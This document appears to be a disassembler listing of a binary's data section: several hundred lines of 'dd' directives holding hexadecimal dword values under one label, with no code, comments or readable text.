		dd 5480B678h, 0D088C6Eh, 0ACB876E8h, 49FD20Bh, 6F0800F2h
		dd 288833AFh, 6DF96D3h,	7C19C38Bh, 0F00328C1h, 665E15A1h
		dd 8C359841h, 0C919FA5h, 443ED4E1h, 0F34E2E00h,	35691598h
		dd 74B28Dh, 0B96EEBA3h,	0C69B0668h, 14833600h, 0EA61BC0Eh
		dd 754B485Fh, 99760A00h, 0AE064163h, 345C6C92h,	0E188015Ah
		dd 25DF3C02h, 8E008832h, 70B88229h, 3E009310h, 36A6EA03h
		dd 39674E13h, 0A7001659h, 893CE70Ch, 35001E7Bh,	0F5B8B9CAh
		dd 664015h, 4CBFE514h, 0C634338Ah, 3E2081E7h, 0B8AA6417h
		dd 28B31080h, 4EF272EDh, 90BFF601h, 0AF463CA1h,	0B1F1218Ch
		dd 0F004CD39h, 41725FABh, 93168EC0h, 922F00E9h,	680E95A1h
		dd 60198943h, 0E389401Eh, 55C2E0h, 8778B303h, 987656E0h
		dd 0F25CA000h, 4C5D845Ah, 0A9363F40h, 0D815399Eh, 2FCE78B8h
		dd 0DDDB8C03h, 0B0C09716h, 0C03593Dh, 46116472h, 2D006561h
		dd 2E090CCBh, 7C7A30Fh,	253AD034h, 7DD72020h, 0C9C75E63h
		dd 9B503BFDh, 0CD738Ah,	932EB983h, 7784BD5Ch, 9AD5F900h
		dd 0FBA88EC7h, 2D3A0430h, 1C616C3h, 4944A633h, 0E6ADE30h
		dd 0A18C0F0Dh, 21C41626h, 5AB59B00h, 0D0C24ED1h, 3D3C0766h
		dd 91AC0127h, 8CCCDFCBh, 9183ABD9h, 59B20062h, 2D2A5B05h
		dd 972EB8Ah, 52F2BD0Ch,	396E032h, 0FCB14F56h, 0CDE0A987h
		dd 0B73AD5F5h, 0AB6A8022h, 3C562EC4h, 49120A38h, 80D490F7h
		dd 2ADE927Eh, 960028D8h, 314DC991h, 30938F16h, 4815D64h
		dd 1F056048h, 0B9434E83h, 593F9420h, 5D9C0013h,	9EECCD9Ah
		dd 38611519h, 6294F3C1h, 8E68D8h, 0C5B0556Dh, 0F02C5A84h
		dd 0F4B980EFh, 5D217489h
		dd 65A400B6h, 5348D5BDh, 0B000ECCBh, 4118593Ch,	1991686h
		dd 0DBB69212h, 80C8F7B9h, 7BF1CBC1h, 28A65E36h,	0C9C1B4h
		dd 0E5FD838Fh, 93060C01h, 9E19893Fh, 0D000A416h, 0FA38DA4Ah
		dd 0BFE0FB7Dh, 7C117CBCh, 5C95001Bh, 25E6272Fh,	4C030E8Eh
		dd 0B3C9703h, 0FFF158BFh, 28CDBE00h, 8BEE0FCFh,	818980EFh
		dd 5BDE3E82h, 4E4A00D4h, 6EE1BC31h, 6918C773h, 93F17F8Ah
		dd 5A2300E4h, 0AE558C3Fh, 8B017DE0h, 0F6FC9863h, 44F86704h
		dd 8EA8A169h, 313CE3D0h, 0B68117B9h, 6848FE46h,	9302E991h
		dd 96B3FF07h, 7AA8407Eh, 680407CBh, 151638EFh, 0F5A40318h
		dd 0A90093F7h, 6214C487h, 0CE82C9Dh, 0C95438A9h, 460AA150h
		dd 0B16F11D2h, 0C10F0B3Ch, 0C7700FEBh, 3180F210h, 3E02D6h
		dd 813A4A83h, 591104BEh, 68041DDh, 63FB644Dh, 0F1B1C0A9h
		dd 67D88131h, 9642DB06h, 24A83799h, 40FC11D0h, 0AA976393h
		dd 67391814h, 3850198h,	0E7F6B3A3h, 15848440h, 619300D8h
		dd 2321FB3Dh, 0F7C8A19h, 0B239730Eh, 3F981566h,	929228B1h
		dd 3F0318E4h, 7CCE9ED0h, 0F69F801Fh, 0AEB80F49h, 0C855963Ah
		dd 0A8431114h, 14C06E8Eh, 2A1A0DC0h, 0AE89601h,	36E7386Ch
		dd 3DF4F820h, 40098CDh,	4341CCA8h, 0B402EFF7h, 0BC395714h
		dd 5DD490ABh, 36E7BCBh,	257A9683h, 71006989h, 913E92E3h
		dd 3815819h, 3CD02614h,	7DB39EFCh, 82902088h, 158EEB09h
		dd 6A4208Bh, 36FC0B1h, 0B0E7F22Eh, 6950353Ah, 0DE4DB680h
		dd 4539022Ch, 4C573CA9h, 8C2012D0h, 0D4B9112Ah,	93B6007Dh
		dd 523EAC1Ah, 2F002534h, 0FFE41FFEh, 2A814FBh, 7C023D15h
		dd 9FD61926h, 98DC7409h, 0F81060h, 0FF6114D8h, 0F70A23B7h
		dd 0A200A8A4h, 1CC15EB5h, 40CE67h, 9DEFC85Fh, 633C5B71h
		dd 24E09904h, 0CCC84BAFh, 1EE49916h, 3D380029h,	98702A05h
		dd 0D4839401h, 0CB8A67EAh, 0D264F180h, 0E3EC62F6h, 0C0A44B00h
		dd 90596DFFh, 7820F32Eh, 0A9C364D4h, 432A800Ch,	48918145h
		dd 95463C24h, 0B7CB006Ch, 0F172F34h, 1F0E29ACh,	0AC3AAD81h
		dd 541171CAh, 7E9C5Dh, 0C4846834h, 0C1E79977h, 0C251C30Eh
		dd 16760143h, 84626588h, 51B874h, 0EF040B47h, 0BE9D5719h
		dd 91F40200h, 273ECEDFh, 133C982Ch, 4C331506h, 22CA2A30h
		dd 4C028900h, 67B3F1EFh, 0AF6E0084h, 6145FDEEh,	0AA0CF873h
		dd 995AF058h, 0F6920A43h, 1803C2Ah, 0F77BAD39h,	0D3C184CDh
		dd 3680AF97h, 0ED0820Ch, 0AA3E691Fh, 0B4C125C0h, 0B22CFE6Bh
		dd 476E945Dh, 0C6603A22h, 5FD0E6Dh, 62EB801Eh, 0A0748098h
		dd 3E05C0ADh, 0E85B2A59h, 688100C0h, 44B348CBh,	609F4A80h
		dd 9D3A95A0h, 0EC89075Fh, 43BC74Fh, 134041F8h, 8E56BE83h
		dd 375E0D00h, 0D7F14349h, 0F05C00AFh, 0CBC2478Ah, 0ED00CD98h
		dd 9535035h, 902AE13Dh,	2643F827h, 61406781h, 0E0D5ED79h
		dd 45023AB1h, 0A87CBC0Bh, 0A98642Fh, 0A78A0208h, 0F600BB8Ch
		dd 0C9E49FEAh, 503C2A52h, 84252928h, 843C2C80h,	1847B0h
		dd 773A599Ch, 46BDDE97h, 3126853Ch, 638AF1C5h, 4DCF1E8h
		dd 0E093C48Ch, 9D18C29Bh, 47F260C0h, 9F150200h,	4BE10BAFh
		dd 12F8B076h, 263F390Dh, 7230D0E4h, 70491111h, 732E300Fh
		dd 59A8F548h, 24CC694Dh, 32401816h, 0EA0D984h, 0E9058B13h
		dd 0B3115FC0h, 872C1FFDh, 0B8A46C2Fh, 59D4B807h, 0C740A2D0h
		dd 0D4F25C86h, 1096D580h, 0DF00647h, 31F72748h,	1ACA615Eh
		dd 88F04430h, 0D2F2519Fh, 3C8BC02Eh, 0B5CF4C40h, 86EA12h
		dd 5523E09Eh, 3BA1717Ah, 0EF393A60h, 70F89DEh, 6E31D638h
		dd 1E631014h, 4924B171h, 0A8B38497h, 4888DD61h,	74690F8Fh
		dd 4E405994h, 0A8AD7F15h, 2C223B1Eh, 0DC8E0E00h, 2EFF0138h
		dd 77475B1h, 320819D9h,	0CCC4F758h, 7342961Dh, 1304FDB9h
		dd 453CB72Eh, 7D2090C8h, 37560061h, 2496A022h, 0CE663A60h
		dd 6A44B9h, 19EA0982h, 36962BD7h, 0D9AD7E00h, 0A1784C05h
		dd 0EDC70A8Eh, 119C8AC0h, 0F138005Dh, 7FF08DEEh, 0A3950093h
		dd 0A853DA89h, 4400F203h, 0B7F79AD1h, 99D8C8F3h, 353906ACh
		dd 3877B9AFh, 0B00C3624h, 598D5C0Ch, 0BC5654F0h, 7197780h
		dd 110FD2D9h, 0A665C0A5h, 430B6712h, 0F56F03h, 0F098D7E8h
		dd 90EF5863h, 0DD92FC3Fh, 308C138Ch, 9B92B3FCh,	171F5901h
		dd 0DBBE4ECDh, 1E04F020h, 0AC73F30Fh, 0A08500C4h, 0A529955Ch
		dd 44C01096h, 0DB8F43h,	64C5C37h, 0F0187CA5h, 2A00F491h
		dd 2B3ED6F6h, 1CF7483Ch, 80935580h, 5F007245h, 0A528495Ah
		dd 1AEF8ECh, 2019C8ADh,	0E00DE392h, 761E9BF9h, 3E014150h
		dd 714E44D7h, 303A2FD4h, 0CB89A490h, 0DCA8F1C9h, 90B12B39h
		dd 0D380B391h, 0BC745C93h, 0FADDE700h, 756401D7h, 82AD046Ch
		dd 88DBCB81h, 3F1F6078h, 0DCE8E0F1h, 0C101A00h,	27EDB3D0h
		dd 47A20059h, 5B6D6EC5h, 3C18A369h, 0B679B444h,	3A4B0C03h
		dd 9489D997h, 5F63CE00h, 0C3C4E979h, 1107759h, 75892917h
		dd 0F03A46BAh, 0AC59B913h, 8AE180F0h, 4A8F1EDEh, 49C82036h
		dd 4D133B39h, 840A4587h, 8402D462h, 44155208h, 0C6310028h
		dd 0E6858B6Eh, 0DAE725D8h, 0D0030CC4h, 1BD492D1h, 0C8DAFB45h
		dd 0F63F57B0h, 0E76C00DDh, 0FB93F5D6h, 0D0F1A59h, 72473CB8h
		dd 9F090C1Fh, 0F270A378h, 4511DBAh, 99148FB3h, 2919D382h
		dd 2681840h, 1741F39h, 18FF1C9Ah, 0C242C11h, 10311CC3h
		dd 2A00BD8Ah, 721C6D45h, 0AB30B3A1h, 0DC2D08Fh,	0A4365023h
		dd 0D30388C6h, 0FD451016h, 98A4EC0Bh, 2C78E0h, 4EEA0B5Eh
		dd 7F2A4BCDh, 26AD7CEBh, 0DB60ECD1h, 2C60F2h, 0DF089742h
		dd 3207F47Dh, 0DA63B200h, 77F91259h, 5464E4C9h,	69B816h
		dd 197AB07Eh, 0FD4D917Ch, 88769E00h, 113127CFh,	36212445h
		dd 0AC02009Ch, 3CA6297Eh, 418EB832h, 70052F0h, 78E1DD44h
		dd 10FAA0B2h, 52005628h, 46DA17AEh, 1F39AE0h, 4CB48BCh
		dd 39112483h, 5AAA00D4h, 0EAB889Bh, 673712C4h, 404C1C7Ah
		dd 3F59BE44h, 0AD00C0BCh, 0C938E399h, 24297CC8h, 0E7C4AFEh
		dd 299E6697h, 0F1F600A4h, 2B591D44h, 0BB0E8D09h, 0C9C4806Ah
		dd 26C9BA1h, 6246A08Eh,	0A8E4C2C8h, 0CF791002h,	2F2A327Ah
		dd 0E11DEC94h, 0CD250536h, 4A6482A4h, 0C78F5865h, 0AB84DE61h
		dd 0A6808360h, 0D808C9h, 652122D5h, 0E8EFAEC7h,	9E002C90h
		dd 520A2319h, 473A8Bh, 30593D62h, 43886BAAh, 86845C48h
		dd 0F08913B6h, 0FC3A488Ch, 0C95EF0C2h, 0D0127B00h, 23B700DAh
		dd 0A6968C2Eh, 0C04E10Dh, 0A902CE2Ah, 90E960C0h, 41826164h
		dd 0FCC4ED20h, 3007CBAh, 549D4CF9h, 748D9997h, 981D13C1h
		dd 27A40436h, 3395455Bh, 0B81E88Ch, 7DD58AA0h, 0B5BA8081h
		dd 0E5A8D90Fh, 6631814Eh, 76CCD75Bh, 2E38C420h,	1D7045A3h
		dd 0EF0C4043h, 39E587B3h, 1174C4A0h, 9EBA34A0h,	0DC221600h
		dd 939B09Bh, 9820F54Ah,	7B4E30C1h, 9C279930h, 2D6E4313h
		dd 1DA1C888h, 40094F6Ah, 0DF89F905h, 0CF0CFB1Dh, 0B9A48AB9h
		dd 31EB1DC0h, 240E80C2h, 0D0396532h, 0B8408B4Eh, 0BD626C47h
		dd 15050273h, 0A71FEA7Bh, 138941C0h, 17EE3E01h,	9FA33FABh
		dd 0F0A480F2h, 0A0984744h, 4C0F0E84h, 0DA80D415h, 8A489CC0h
		dd 3639D924h, 313EA90Bh, 8203D4Ch, 0E88A58F9h, 57EBA283h
		dd 62FA22A0h, 375A1378h, 43315020h, 82D90E46h, 7800B798h
		dd 4D5CA1ADh, 32553904h
		dd 0C852A734h, 30E1740h, 6912A5ADh, 8A8CE889h, 9B500267h
		dd 6EFBA797h, 26D3B080h, 714F4381h, 35A40827h, 3CB360C0h
		dd 19DA645Eh, 4DB4C8F0h, 848F6200h, 0ECE9C85Dh,	0FE730020h
		dd 0F471DC3Dh, 893A7703h, 181F8023h, 76CBD05Ch,	0D8FE581Bh
		dd 7FF6F301h, 80AB7043h, 0A6EE3F59h, 543DA9D5h,	1383945Fh
		dd 1200280h, 64942B8h, 0D526DD89h, 803C3C52h, 47A9E5A5h
		dd 92A00734h, 503FB1D2h, 3784EC57h, 6B483316h, 71ED8C00h
		dd 23EC41Ch, 86271065h,	0FC60EAFBh, 8E407B0Dh, 9871149Eh
		dd 8B80E43Ah, 0D7F98524h, 0C7CBE113h, 727B1820h, 406E4F11h
		dd 0E694B028h, 1BF8E72Dh, 8B00087Fh, 1EA05FB7h,	7BF55DA7h
		dd 0B0B27107h, 3A2A02F5h, 463C9245h, 0F12AA464h, 990FACBEh
		dd 40D74383h, 6B1AF7FDh, 39EE00CDh, 653445A1h, 0BE26F89Ah
		dd 0A23848E7h, 0C8740C12h, 0EAA1DDC7h, 3A397313h, 949FB490h
		dd 7E2D14A3h, 997EC7B1h, 92778074h, 57FBE093h, 457FBB02h
		dd 804C46ADh, 1B26F6D4h, 0D15B0049h, 8680784Eh,	90A4C1CBh
		dd 0FA624301h, 3FDC4FE2h, 134289DCh, 0B69C720h,	2C8507E0h
		dd 61D8C0A9h, 0ECA84811h, 2F00CFB1h, 0C7EDDB94h, 2094483h
		dd 0B0A95EA3h, 0E2205589h, 16999C5h, 7C760FF5h,	0C45B2206h
		dd 63306581h, 0F9E5C1E4h, 4B100DFh, 15C13A5Fh, 8F0E845Eh
		dd 277BE3BFh, 91D37DA2h, 0A3104B5h, 0C011F8EEh,	8CE567F9h
		dd 72278302h, 521580FCh, 0FAB51EECh, 0D616827Bh, 0CB40C88Dh
		dd 9A007A5Ch, 73C6BAE6h, 2C928167h, 4080F70Ch, 0F1F58FC1h
		dd 0C7AF8701h, 5A254914h, 24C0B07Bh, 3ACD70FDh,	8453384Ah
		dd 72FA8405h, 84312C95h, 0FB00E3E1h, 0A8747B05h, 5295ED24h
		dd 1001273Ah, 0F4470980h, 56FD0006h, 44E969C0h,	0C00074Fh
		dd 0A2A19F87h, 0FD0F428h, 8CAEF259h, 0B2EAA5C4h, 0E2470070h
		dd 261DE9A3h, 978707Ah,	46EF9862h, 205D0484h, 3EE08696h
		dd 44112393h, 24F12887h, 8235EE00h, 1C7D3C15h, 0A28C046Fh
		dd 8050A8B0h, 94D79ADCh, 2CA9EA09h, 3C98216Bh, 2444825Fh
		dd 5CD088h, 0CE8AA0Bh, 0D462309Fh, 0C004527Fh, 0DD3A243Eh
		dd 24A138A4h, 8174DF3Bh, 257AA992h, 0CE0DCC99h,	0C574FF04h
		dd 58F464CAh, 8EC0042h,	0F86F8ECDh, 721F79DCh, 8F40663Ah
		dd 98193E5Bh, 804CBC15h, 24C59F2Dh, 2E004AB7h, 7240EC7Fh
		dd 3C74D662h, 3E0A7085h, 13CC0227h, 0B3542059h,	0A1245391h
		dd 0A2005226h, 8A20D59Bh, 0CD0E26F1h, 0C05464C8h, 0D7EEBB3Fh
		dd 0B082A04h, 0B4801A8Ah, 0E97B5185h, 7791F4h, 387210F4h
		dd 1E2A132Bh, 25B51C05h, 40B229DCh, 0BA288200h,	0E0DE2C55h
		dd 5EC52E02h, 92FD5F43h, 994C90ACh, 9C050E4Eh, 0F84093F2h
		dd 726C4D07h, 920CE4EAh, 0A14711C9h, 0EA37008Ch, 0B686F76Eh
		dd 27090B23h, 483A8EC8h, 68B3BCh, 358CEB9Eh, 3F01A1D5h
		dd 742CC37Bh, 0AE41A48Ah, 0BBD8FC8Fh, 23C10047h, 4975D72Fh
		dd 2B3A983Eh, 29C52A8h,	3B0F95A1h, 0F6E4C43Ah, 7C83007Eh
		dd 817E5A0h, 177BF57h, 0FC787502h, 0E1EE2EC1h, 0E6CAFBCCh
		dd 8D0D1C1Ch, 4B15C794h, 7CC200EAh, 0B20E7024h,	2BAD84F9h
		dd 2C68C4DAh, 11907C8h,	0F50D5E39h, 0E2C02178h,	0A124B622h
		dd 993A9B50h, 9A054078h, 8218AA0Ah, 0DCE0FB14h,	51F123Ch
		dd 0EAC1EDD7h, 0BFB9436Bh, 79382442h, 0E1CC186Ch, 61011C8Fh
		dd 93BEFE05h, 0D2700E70h, 99300E38h, 7AA4C006h,	37588262h
		dd 8A8C1060h, 7700DCB1h, 0A088BECFh, 0F7AA2D4Ch, 7C801CAEh
		dd 71B32DE8h, 0E5811501h, 0D940533Bh, 9272420h,	0F77545ABh
		dd 0F637B410h, 675C191Ch, 0BB229683h, 0CB1AE1DBh, 0F453DCD1h
		dd 0E214E2D6h, 4F306439h, 37A01260h, 4FCD0054h,	4A192718h
		dd 0AF198CAAh, 17EEEE0h, 2F3C5270h, 30285496h, 8488553Ch
		dd 0F62270ECh, 36A03D46h, 2C85913h, 197CAD84h, 0E6006859h
		dd 0A24F25B0h, 5E960045h, 0CD67F06h, 754C46A0h,	9DAB1F6Ch
		dd 92128B80h, 0BA73AB2h, 0D43003AFh, 21E0EC0Eh,	0AB112488h
		dd 63A11067h, 32014540h, 0D4AD0E97h, 0AA015966h, 0EF77935Bh
		dd 433CBFF0h, 126334BCh, 36888127h, 3FC20h, 0A093EA08h
		dd 7CD79BE1h, 0B9B71C00h, 3F7B29F0h, 11BD01D3h,	3ADEA645h
		dd 2C5C3303h, 3B403016h, 7F0E2EBEh, 0C4180172h,	0F9096E73h
		dd 0A45D71ECh, 0F042B47Eh, 4FE8207Ch, 8300552Ah, 6CB20711h
		dd 7912EE3h, 155B9996h,	0D1472B0h, 0A47A9062h, 56F16000h
		dd 900E62C4h, 15DD0085h, 72A683Fh, 452506A3h, 6F888067h
		dd 4EDCEC0h, 0DDA99E44h, 6EE888F0h, 70170800h, 0C1372C49h
		dd 72FB002Ah, 0E3F813A0h, 42803A9h, 0B401C844h,	604A7AC4h
		dd 7171615Bh, 0A1C0DF21h, 0D1F0A2F3h, 0C22C002Ch, 89AC9175h
		dd 0AE9B8C00h, 74933F0Ch, 2E1F1472h, 0A700E811h, 31BB275Ch
		dd 0B8B932E9h, 8081D08Bh, 5CE2EE03h, 758C009Ch,	0E13654F2h
		dd 6800A0D3h, 90347B50h, 0FCAE4573h, 773B0BEAh,	98C96493h
		dd 996CC010h, 3456D100h, 0D65E30Ah, 1D43B811h, 5731B7B1h
		dd 0E1D70292h, 3454393Ah, 0D7530A40h, 24D201CCh, 127727Ch
		dd 0C0512039h, 0D08AE22Ch, 88446043h, 7833B30h,	0E79C14A4h
		dd 235E0F8h, 5A0E8B73h,	65B3E638h, 34F23FA3h, 2D10AC00h
		dd 0EA962090h, 970077E2h, 0BEB402E5h, 0C3E0BDEh, 0BAF76B58h
		dd 80003769h, 0A1F5AAA4h, 18E4C8Ah, 0E8277B93h,	0EEC02FA0h
		dd 2105684Ch, 0AC425C7h, 9F893CC0h, 0B842491Eh,	20BD8D00h
		dd 9B9E5162h, 828F923Bh, 0D995B690h, 3AED6171h,	27809068h
		dd 0CB424465h, 0BBC0EC0Eh, 918380C8h, 0EF1E06h,	5F8404Fh
		dd 0D4C6FF77h, 7AF042h,	1C83F2DFh, 574B99B6h, 7BA3400Bh
		dd 0E5188084h, 6E277DDh, 64C694C3h, 7900B99Bh, 3AC5074Dh
		dd 2430A7AAh, 0FCE3AFh,	23E67C8Ch, 0F82F777Fh, 0B8841064h
		dd 96200AEh, 0A531632Ah, 1002EE36h, 28E5F392h, 5BDC8070h
		dd 58356Ch, 0A0988C07h,	0E68808Ah, 3E71B600h, 27D0444Ah
		dd 2ADB00A3h, 0AFB2AC0Dh, 3924F6FBh, 29449096h,	0F700B4A2h
		dd 7CBD1ECCh, 0F02640CDh, 0D804AC73h, 9209BFA8h, 32DA9490h
		dd 6F839509h, 381680F6h, 9964370Bh, 354D0054h, 0D3039BB2h
		dd 3D75EB00h, 46DDC7EEh, 0BD370301h, 0A4163876h, 3A2B27E0h
		dd 4A0E2D03h, 58B73F39h, 0C7226C99h, 80B4123Eh,	1C7B4413h
		dd 0D5D41Fh, 0E9A0A849h, 55842711h, 7D9BC31Eh, 4972F90h
		dd 8004C8DCh, 0DB2427E4h, 2E4C1858h, 0AA2850F8h, 5610A817h
		dd 8024EC27h, 8190E424h, 4D9A3Fh, 0B3A8B57Ah, 1474B7EDh
		dd 0B35935F7h, 3A90C904h, 0EC68892Bh, 0B6017507h, 0C2F5B44h
		dd 0E08693A1h, 0D1CD3BBFh, 32C01700h, 7C4BBBE1h, 0B0D700BEh
		dd 92636FB3h, 792E09B4h, 9C0FAC31h, 7CC6C71Ch, 1523BFC0h
		dd 6C60E39Fh, 0E2B8811h, 809C78F1h, 1E37857Bh, 4C34B865h
		dd 3B2D5F18h, 0B5AC9CA0h, 8B74A509h, 0E95D0370h, 0C3EE0008h
		dd 0C11AD81h, 44B890B6h, 0FE1439B4h, 2D40677h, 2CA87530h
		dd 9E98A157h, 10109B65h, 3A00197Eh, 0C380780h, 5C3048h
		dd 0FB74BFF4h, 0A9CBA428h, 21A4601h, 0B8E35133h, 9D04003Ch
		dd 878F4541h, 2EA916C0h, 981A0C0Ch, 0AE9092h, 39AA69B3h
		dd 0FB3D7B49h, 90AEB3Ah, 0E4B8CFE1h, 73C50040h,	879B141Ch
		dd 0DA007EF0h, 0CC0C990Bh, 0F465A656h, 1FAC923Ch, 4052751Bh
		dd 8F550881h, 2A01EFE4h
dword_581194	dd 0E2B065C8h, 38689220h, 9BA5D280h, 56009501h,	776F0A10h
		dd 78711AF5h, 0B44B25BEh, 115D6461h, 0F1202319h, 3ACDF8B0h
		dd 0C78106EDh, 95D73DA5h, 0BD44202Ch, 0CB36AC09h, 1B05AB3h
		dd 0DCE77973h, 2881FBB5h, 133E8058h, 2CF7B21Eh,	2C0EFA01h
		dd 0E9080010h, 69CD872Eh, 0CA46F14h, 484625CCh,	4026B8h
		dd 6297073Ch, 74D71E3Fh, 18FBA813h, 14D02000h, 4F1216Bh
		dd 0C88A893Ch, 821088C0h, 0CEBCC0Ch, 20B041h, 0D89F7A47h
		dd 0DFCB57F9h, 390580B1h, 34B4ACDDh, 4FC5AF7h, 0C01AB108h
		dd 6EBD5CD9h, 217B0627h, 0DBC860A0h, 800BF039h,	44E8114Dh
		dd 3F00916Eh, 0B30CC157h, 79FB8351h, 63E2271Dh,	3ECC7C20h
		dd 2C00C87Bh, 0A8EE819Eh, 150666Eh, 0DAF815D8h,	70404C01h
		dd 0BF887CD4h, 50E300B6h, 0DAE97FA2h, 3600D99Ah, 0D5ED0D10h
		dd 17963AAh, 9D5F7868h,	2C39FB85h, 9ED480A4h, 0D50D51h
		dd 0BE2D760Ah, 50C1D146h, 0D2B61202h, 0F210B5F2h, 30109D70h
		dd 0B000608Ch, 690BF945h, 487A8346h, 746403h, 0D15D876Eh
		dd 3C78CCB8h, 823395Fh,	0CDADA0F4h, 0F5050167h,	0CB1F4AF8h
		dd 619849C1h, 84E46074h, 0A9A7105h, 0A4B2E00Eh,	30024800h
		dd 3458EAEDh, 8E44B207h, 0BEE0A7DFh, 9D93E0C3h,	0FF255890h
		dd 1A694400h, 0D359825Eh, 703E0061h, 8DA0201Ch,	98009B73h
		dd 570AF05Ch, 0B411C2D5h, 0FE2680FCh, 7677A85Eh, 5200C3E4h
		dd 19E924E5h, 2E7A55AEh, 643460BCh, 4E91804Fh, 893EA613h
		dd 3A419D06h, 8405B82Ch, 88C824AFh, 80A0963Bh, 55301B7Fh
		dd 240FCACDh, 0C7E2698Dh, 8192F8D7h, 0A6ACE1AAh, 0F7D035C1h
		dd 0BC016E3h, 305CC853h, 84E8BD04h, 80C2AA50h, 0BC1CC094h
		dd 40B0BC3Ah, 6945A33Eh, 0C996A4A0h, 1D5A1122h,	429BCCF9h
		dd 1CD76B80h, 946930E0h, 0BFE7B307h, 6845F873h,	0F8318833h
		dd 0EBA729h, 4C6CFDAAh,	92D936F9h, 18B64801h, 8F5EAF13h
		dd 26705DC1h, 443D0022h, 0EC5FB7F4h, 58000848h,	0D817E710h
		dd 1D9A6807h, 0BC9F4E5Ch, 1F77A73Eh, 805DF67Ch,	5B913F52h
		dd 7575F429h, 6F02B706h, 128C932h, 23B84F17h, 0E0784D09h
		dd 0F60020BEh, 9354403Fh, 1D86B11Ah, 0E26AA9h, 0A671B008h
		dd 0A5002AA2h, 0B1C5E627h, 0F007A73Bh, 8F510E5Ch, 6F03DA30h
		dd 6114120Fh, 0D9D0D03h, 0B0FE9856h, 77EA4F0h, 0DADE82A5h
		dd 65F6E08Dh, 50073FBh,	0D606E784h, 3F7940h, 0DCC89A09h
		dd 7166B7CEh, 0BDEF0B00h, 86A86AA2h, 338C01E9h,	7DD63DC4h
		dd 0C9718E17h, 9969588Eh, 24F80062h, 0F196FCBAh, 0E0784383h
		dd 0CC15483Eh, 98A87A50h, 800EC4C0h, 0A089D537h, 0FC5DFAE2h
		dd 0BA2C0ECEh, 498A751Fh, 5AF8060h, 83A2A9A8h, 8EB78C13h
		dd 1C91A006h, 0FD9F3021h, 332F7B59h, 0E900DAF4h, 557CDB2Ah
		dd 0EED30B02h, 31D46298h, 21C00122h, 0AC008614h, 18FE505Eh
		dd 4D83BEh, 0F0959ADBh,	0A51BA399h, 39002BF8h, 0BF91B19Ch
		dd 3008C9F4h, 3A71F09Fh, 0DE3B17DAh, 0B805B859h, 0CA22017Ah
		dd 0F239C882h, 5158D610h, 75B1A802h, 8EEBEC49h,	7AD702E0h
		dd 88A4A1C8h, 6C10E099h, 0D11E5540h, 2D81FFDAh,	0E660810h
		dd 30AC4024h, 8481FA6Bh, 7D061BEFh, 3D6EFFB7h, 0FB310E41h
		dd 49C075FDh, 0C03B21Ah, 0A7BC100h, 5F186B8h, 0BD6C1F3Fh
		dd 6E10C648h, 52003938h, 0EFF8D65h, 7D5FDAD9h, 95F21E06h
		dd 0A985033Ch, 79000380h, 8A986E0Ah, 3F33369h, 6FED73BBh
		dd 51E23F6Ch, 0B7F8E960h, 7E1FA61Dh, 3873B9F0h,	3C4008Bh
		dd 90D64A8Eh, 0A6EA0807h, 0E5421C9h, 68801E44h,	13F666A5h
		dd 122F0055h, 35D4BB8Eh, 0FD033F2Dh, 7F69B550h,	0E839078Ah
		dd 10900BE2h, 0EEAE3C0Ch, 721DFD00h, 78A28581h,	0A8DD0433h
		dd 8860B7ABh, 7D30C7D8h, 0BBCC41B8h, 437008Ch, 84DA89EDh
		dd 7E508241h, 0F828F410h, 0BC008F2Ch, 43AE8F53h, 14AF5A3Fh
		dd 447E8EB6h, 3DE2FA00h, 0F581FCF4h, 12724201h,	0A170391Eh
		dd 0AD6CD4h, 76D1D260h,	0B3B82F4h, 0E1500C90h, 2D734194h
		dd 128D0909h, 4004106Eh, 0B8E8001Bh, 0C9F9AEE2h, 4504E707h
		dd 69540509h, 0D81E71C5h, 4831E558h, 0BC0B1FFCh, 8B58C45Eh
		dd 0C41C8285h, 56812620h, 80E2E56Fh, 444B51B0h,	0B0D3005Dh
		dd 0C539DDFh, 4892110Fh, 60848E03h, 9034BAF3h, 62AF469h
		dd 3AC8B81Ah, 49071EBh,	383A1142h, 7EE06A44h, 5B117B60h
		dd 0E8F106h, 4097028Bh,	3A9E99B1h, 0DED91600h, 8857CD22h
		dd 648E54C8h, 0EA870A21h, 80248F32h, 4F18D792h,	460035D9h
		dd 4A5140A1h, 9F2859h, 0D594A380h, 2299FF8Fh, 6E0D88h
		dd 850E4104h, 0ED91063Ch, 9448D60h, 179F111h, 69025D16h
		dd 80AB6B08h, 0E28EAC69h, 2FD472Dh, 8426D560h, 73C0EED3h
		dd 91000E1Fh, 5E7318C2h, 79B1B7D4h, 5F9A0713h, 2A32106Dh
		dd 0C7EC8088h, 0EDC3F272h, 980F3426h, 0C5935040h, 5362025Dh
		dd 99F805DCh, 81007464h, 31941FA8h, 1DFC8698h, 91243767h
		dd 7FEA00D7h, 49A6F0C2h, 0CD05042Ch, 0C08175D3h, 0CF13FF70h
		dd 0A8920F72h, 0A36EECE5h, 337C3B00h, 75C6B188h, 265F1E0Eh
		dd 7837C094h, 0F9E17A1Ah, 0FE181572h, 0C469D66Eh, 97898h
		dd 0A0DAF56Bh, 533D9A6h, 3057160Ah, 478394A1h, 0A00C6521h
		dd 4FDF79h, 0ECB607A4h,	7BD72604h, 4747448h, 548B7F9h
		dd 5480BC94h, 0C9F62F1h, 0EF800686h, 0CB035519h, 0E330DDFBh
		dd 0C8B7D816h, 0A769C92Bh, 26B47408h, 3849138Ah, 3898AA84h
		dd 27358E01h, 0D31BC48Fh, 36D2ECh, 7A077F4Dh, 72215904h
		dd 0B2136C18h, 1E970350h, 0DCB0C7h, 58E2865h, 6054CD4Dh
		dd 0C600314Ch, 5040EB67h, 7A4487h, 424C6205h, 71543EC2h
		dd 8D09B4E6h, 831A132Fh, 189E665Eh, 0C1236EA1h,	771FF45h
		dd 4EEE5503h, 0D86D6AF3h, 9C80EE6h, 69625941h, 0C7393B80h
		dd 0F6009665h, 11B625B3h, 0B8502108h, 0A0CA1E48h, 219113CFh
		dd 4873AC98h, 0B000AAACh, 0FA40473Eh, 2C97F0A9h, 0F483A7Dh
		dd 0E780E178h, 8F11364h, 48F91900h, 0A1FFAE10h,	3ACF3ABBh
		dd 97D6A9E1h, 5D5424E5h, 2F674F00h, 0FE902271h,	7C6E0E66h
		dd 9FA63D52h, 72C07904h, 1FFA80D6h, 763FFC9Ah, 3E2CB8CAh
		dd 6E98F250h, 0B630B1CDh, 32C8B9C0h, 7D6B26h, 84259D23h
		dd 30A70C55h, 5D76C01h,	9E8CA624h, 44329F42h, 2F472668h
		dd 0F21F00CBh, 0AEE08610h, 77DC3901h, 870E8E46h, 26573470h
		dd 3F902E42h, 0EF8855B3h, 0C9E86AE3h, 5801F134h, 0C56653B6h
